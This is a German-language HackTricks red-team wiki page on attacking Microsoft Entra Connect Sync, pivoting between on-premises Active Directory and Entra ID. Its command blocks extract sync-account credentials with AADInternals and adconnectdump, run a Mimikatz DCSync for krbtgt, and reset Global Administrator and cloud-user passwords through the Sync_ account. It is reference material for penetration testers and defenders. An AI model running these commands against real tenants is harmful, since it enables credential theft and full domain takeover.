Az - Connect Sync

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Aus der Dokumentation: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) ist eine Hauptkomponente von Microsoft Entra Connect. Es übernimmt alle Operationen, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer On-Premises-Umgebung und Microsoft Entra ID zusammenhängen.

Der Sync-Dienst besteht aus zwei Komponenten: der On-Premises-Komponente Microsoft Entra Connect Sync und der Dienstseite in Microsoft Entra ID, genannt Microsoft Entra Connect Sync service.

Um ihn zu nutzen, muss der Microsoft Entra Connect Sync Agent auf einem Server in Ihrer AD-Umgebung installiert werden. Dieser Agent übernimmt die Synchronisierung von der AD-Seite.

Der Connect Sync ist im Grunde der "alte" Azure-Weg, um Benutzer aus AD in Entra ID zu synchronisieren. Der neue empfohlene Weg ist die Nutzung von Entra Cloud Sync:

Az - Cloud Sync

Erstellte Principals

  • Das Konto MSOL_<installationID> wird automatisch in der On-Prem-AD erstellt. Dieses Konto erhält die Rolle Directory Synchronization Accounts (siehe Dokumentation), was bedeutet, dass es Replikations‑(DCSync)‑Berechtigungen in der On-Prem-AD hat.
  • Das bedeutet, dass jede Person, die dieses Konto kompromittiert, in der Lage sein wird, die On-Prem-Domäne zu kompromittieren.
  • Ein Managed Service Account ADSyncMSA<id> wird in der On-Prem-AD erstellt, ohne besondere Standardberechtigungen.
  • In Entra ID wird der Service Principal ConnectSyncProvisioning_ConnectSync_<id> mit einem Zertifikat erstellt.

Passwörter synchronisieren

Password Hash Synchronization

Diese Komponente kann auch verwendet werden, um Passwörter aus AD in Entra ID zu synchronisieren, sodass Benutzer ihre AD-Passwörter für die Anmeldung bei Entra ID verwenden können. Dazu muss die Passwort-Hash-Synchronisierung im Microsoft Entra Connect Sync-Agent auf einem AD-Server aktiviert werden.

Aus der Dokumentation: Password hash synchronization ist eine der Anmeldemethoden, die für hybride Identität verwendet werden. Azure AD Connect synchronisiert einen Hash des Hashes eines Benutzerpassworts von einem On-Premises Active Directory in eine cloudbasierte Azure AD-Instanz.

Grundsätzlich werden alle Benutzer und ein Hash der Passwort‑Hashes vom On-Prem nach Azure AD synchronisiert. Allerdings werden Klartextpasswörter oder die ursprünglichen Hashes nicht an Azure AD gesendet.

Die Hash-Synchronisierung erfolgt alle 2 Minuten. Standardmäßig werden jedoch Passwortablauf und Accountablauf nicht nach Azure AD synchronisiert. Ein Benutzer, dessen On-Prem-Passwort abgelaufen ist (nicht geändert wurde), kann weiterhin mit dem alten Passwort auf Azure-Ressourcen zugreifen.

note

Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins, die das Attribut adminCount auf 1 gesetzt haben, aus Sicherheitsgründen nicht mit Entra ID synchronisiert. Andere Benutzer, die Teil privilegierter Gruppen ohne dieses Attribut sind oder denen direkt hohe Rechte zugewiesen wurden, können jedoch synchronisiert werden.

Password Writeback

Diese Konfiguration erlaubt es, Passwörter aus Entra ID in AD zu synchronisieren, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für das Funktionieren des password writeback der automatisch in AD erstellte Benutzer MSOL_<id> weitere Berechtigungen erhalten muss, wie in der Dokumentation angegeben, damit er die Passwörter beliebiger Benutzer im AD ändern kann.

Das ist besonders interessant, um das AD von einem kompromittierten Entra ID aus zu gefährden, da Sie das Passwort von "fast" jedem Benutzer ändern können.

Domain-Admins und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut adminCount auf 1 hat. Andere Benutzer, denen innerhalb des AD hohe Berechtigungen zugewiesen wurden, ohne Teil dieser Gruppen zu sein, könnten jedoch ihr Passwort geändert bekommen. Zum Beispiel:

  • Benutzer, denen direkt hohe Privilegien zugewiesen wurden.
  • Benutzer aus der DNSAdmins Gruppe.
  • Benutzer aus der Gruppe Group Policy Creator Owners, die GPOs erstellt und sie OUs zugewiesen haben, können die von ihnen erstellten GPOs ändern.
  • Benutzer aus der Cert Publishers Group, die Zertifikate ins Active Directory veröffentlichen können.
  • Benutzer jeder anderen Gruppe mit hohen Privilegien, die nicht das Attribut adminCount auf 1 haben.

Pivoting AD --> Entra ID

Connect Sync enumerieren

Auf Benutzer prüfen:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Überprüfe die Connect Sync Konfiguration (falls vorhanden):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Finden der Passwörter

Die Passwörter des MSOL_* Users (und des Sync_* Users, falls erstellt) werden in einem SQL-Server auf dem Server gespeichert, auf dem Entra ID Connect installiert ist. Admins können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.
Die Datenbank befindet sich in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine davon verschlüsselt ist:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Die verschlüsselte Konfiguration ist mit DPAPI verschlüsselt und enthält die Passwörter des MSOL_* Users im on-prem AD und das Passwort von Sync_* in AzureAD. Daher ermöglicht ein Kompromittieren dieser Konten privesc zu AD und AzureAD.

Sie finden eine vollständige Übersicht darüber, wie diese Anmeldedaten gespeichert und entschlüsselt werden, in diesem Vortrag.

Missbrauch von MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Vorherige Angriffe kompromittierten das andere Passwort, um sich dann mit dem Entra ID-Benutzer namens Sync_* zu verbinden und anschließend Entra ID zu kompromittieren. Dieser Benutzer existiert jedoch nicht mehr.

Missbrauch von ConnectSyncProvisioning_ConnectSync_

Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Management-Rollen zugewiesen sind. Sie hat jedoch die folgenden API-Berechtigungen:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um über eine undokumentierte API einige privilegierte Aktionen durchzuführen, aber soweit mir bekannt wurde bisher kein PoC gefunden. In jedem Fall — falls das möglich ist — wäre es interessant, weiter zu untersuchen, wie man das Zertifikat findet, sich als diesen service principal anmeldet und versucht, es zu missbrauchen.

Dieser blog post wurde kurz nach der Umstellung von der Verwendung des Sync_*-Benutzers auf diesen service principal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, einen PoP (Proof of Possession) daraus zu erzeugen und ein Graph-Token zu erstellen, und damit ein neues Zertifikat zum service principal hinzuzufügen (weil ein service principal sich immer neue Zertifikate zuweisen kann) und es anschließend zur Persistenz als SP zu nutzen.

Um diese Aktionen durchzuführen, wurden die folgenden Tools veröffentlicht: SharpECUtils.

Laut this question muss man, um das Zertifikat zu finden, das Tool aus einem Prozess heraus ausführen, der den Token des Prozesses miiserver gestohlen hat.

Missbrauch von Sync_* [DEPRECATED]

warning

Früher wurde in Entra ID ein Benutzer namens Sync_* mit sehr sensiblen Berechtigungen angelegt, die es erlaubten, privilegierte Aktionen durchzuführen, wie z. B. das Passwort beliebiger Benutzer zu ändern oder eine neue Anmeldeinformation zu einem service principal hinzuzufügen. Seit Jan2025 wird dieser Benutzer jedoch nicht mehr standardmäßig erstellt, da jetzt die Application/SP ConnectSyncProvisioning_ConnectSync_<id> verwendet wird. Er kann jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt sich eine Prüfung.

Durch Kompromittierung des Kontos Sync_* ist es möglich, das Passwort beliebiger Benutzer (einschließlich Global Administrators) zurückzusetzen.

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Es ist auch möglich, nur die Passwörter von Cloud-Benutzern zu ändern (auch wenn das unerwartet ist)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Es ist außerdem möglich, das Passwort dieses Benutzers auszulesen.

caution

Eine weitere Option wäre, einem service principal privilegierte Berechtigungen zuzuweisen, welche der Sync-Benutzer Berechtigungen dazu hat, und dann auf dieses service principal zuzugreifen als Möglichkeit zum privesc.

Seamless SSO

Es ist möglich, Seamless SSO mit PHS zu verwenden, was für weitere Missbrauchsarten anfällig ist. Siehe dazu:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • Wenn password writeback aktiviert ist, können Sie das Passwort jedes Benutzers im AD ändern, der mit Entra ID synchronisiert ist.
  • Wenn groups writeback aktiviert ist, können Sie Benutzer zu privilegierten Gruppen hinzufügen in Entra ID, die mit dem AD synchronisiert sind.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks